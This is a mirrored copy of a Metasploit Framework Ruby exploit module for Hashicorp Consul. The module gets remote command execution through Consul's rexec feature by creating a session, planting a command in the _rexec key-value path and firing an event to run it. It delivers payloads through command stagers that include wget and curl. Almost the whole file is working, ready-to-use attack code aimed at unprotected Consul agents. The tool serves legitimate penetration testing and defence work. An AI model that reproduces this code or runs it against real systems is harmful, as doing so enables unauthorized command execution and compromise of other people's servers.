CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/consul_rexec_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
12
def initialize(info={})
13
super(update_info(info,
14
'Name' => "Hashicorp Consul Remote Command Execution via Rexec",
15
'Description' => %q{
16
This module exploits a feature of Hashicorp Consul named rexec.
17
},
18
'License' => MSF_LICENSE,
19
'Author' =>
20
[
21
'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC
22
'Francis Alexander <helofrancis[at]gmail.com>', # Discovery and PoC
23
'Quentin Kaiser <kaiserquentin[at]gmail.com>' # Metasploit module
24
],
25
'References' =>
26
[
27
[ 'URL', 'https://www.consul.io/docs/agent/options.html#disable_remote_exec' ],
28
[ 'URL', 'https://www.consul.io/docs/commands/exec.html'],
29
[ 'URL', 'https://github.com/torque59/Garfield' ]
30
],
31
'Platform' => 'linux',
32
'Targets' => [ [ 'Linux', {} ] ],
33
'Payload' => {},
34
'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'wget', 'curl' ],
35
'Privileged' => false,
36
'DefaultTarget' => 0,
37
'DisclosureDate' => '2018-08-11'))
38
register_options(
39
[
40
OptString.new('TARGETURI', [true, 'The base path', '/']),
41
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),
42
OptInt.new('TIMEOUT', [false, 'The timeout to use when waiting for the command to trigger', 20]),
43
OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),
44
Opt::RPORT(8500)
45
])
46
end
47
48
def check
49
uri = target_uri.path
50
res = send_request_cgi({
51
'method' => 'GET',
52
'uri' => normalize_uri(uri, "/v1/agent/self"),
53
'headers' => {
54
'X-Consul-Token' => datastore['ACL_TOKEN']
55
}
56
})
57
unless res
58
vprint_error 'Connection failed'
59
return CheckCode::Unknown
60
end
61
begin
62
agent_info = JSON.parse(res.body)
63
if agent_info["Config"]["DisableRemoteExec"] == false || agent_info["DebugConfig"]["DisableRemoteExec"] == false
64
return CheckCode::Vulnerable
65
else
66
return CheckCode::Safe
67
end
68
rescue JSON::ParserError
69
vprint_error 'Failed to parse JSON output.'
70
return CheckCode::Unknown
71
end
72
end
73
74
def execute_command(cmd, opts = {})
75
uri = target_uri.path
76
77
print_status('Creating session.')
78
res = send_request_cgi({
79
'method' => 'PUT',
80
'uri' => normalize_uri(uri, 'v1/session/create'),
81
'headers' => {
82
'X-Consul-Token' => datastore['ACL_TOKEN']
83
},
84
'ctype' => 'application/json',
85
'data' => {:Behavior => "delete", :Name => "Remote Exec", :TTL => "15s"}.to_json
86
})
87
88
if res and res.code == 200
89
begin
90
sess = JSON.parse(res.body)
91
print_status("Got rexec session ID #{sess['ID']}")
92
rescue JSON::ParseError
93
fail_with(Failure::Unknown, 'Failed to parse JSON output.')
94
end
95
end
96
97
print_status("Setting command for rexec session #{sess['ID']}")
98
res = send_request_cgi({
99
'method' => 'PUT',
100
'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/job?acquire=#{sess['ID']}"),
101
'headers' => {
102
'X-Consul-Token' => datastore['ACL_TOKEN']
103
},
104
'ctype' => 'application/json',
105
'data' => {:Command => "#{cmd}", :Wait => 2000000000}.to_json
106
})
107
if res and not res.code == 200 or res.body == 'false'
108
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
109
end
110
111
print_status("Triggering execution on rexec session #{sess['ID']}")
112
res = send_request_cgi({
113
'method' => 'PUT',
114
'uri' => normalize_uri(uri, "v1/event/fire/_rexec"),
115
'headers' => {
116
'X-Consul-Token' => datastore['ACL_TOKEN']
117
},
118
'ctype' => 'application/json',
119
'data' => {:Prefix => "_rexec", :Session => "#{sess['ID']}"}.to_json
120
})
121
if res and not res.code == 200
122
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
123
end
124
125
begin
126
Timeout.timeout(datastore['TIMEOUT']) do
127
res = send_request_cgi({
128
'method' => 'GET',
129
'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms"),
130
'headers' => {
131
'X-Consul-Token' => datastore['ACL_TOKEN']
132
}
133
})
134
begin
135
data = JSON.parse(res.body)
136
break if data.include? 'out'
137
rescue JSON::ParseError
138
fail_with(Failure::Unknown, 'Failed to parse JSON output.')
139
end
140
sleep 2
141
end
142
rescue Timeout::Error
143
# we catch this error so cleanup still happen afterwards
144
print_status("Timeout hit, error with payload ?")
145
end
146
147
print_status("Cleaning up rexec session #{sess['ID']}")
148
res = send_request_cgi({
149
'method' => 'PUT',
150
'uri' => normalize_uri(uri, "v1/session/destroy/#{sess['ID']}"),
151
'headers' => {
152
'X-Consul-Token' => datastore['ACL_TOKEN']
153
}
154
})
155
156
if res and not res.code == 200 or res.body == 'false'
157
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
158
end
159
160
res = send_request_cgi({
161
'method' => 'DELETE',
162
'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}?recurse="),
163
'headers' => {
164
'X-Consul-Token' => datastore['ACL_TOKEN']
165
}
166
})
167
168
if res and not res.code == 200 or res.body == 'false'
169
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
170
end
171
end
172
173
def exploit
174
execute_cmdstager()
175
end
176
end
177
178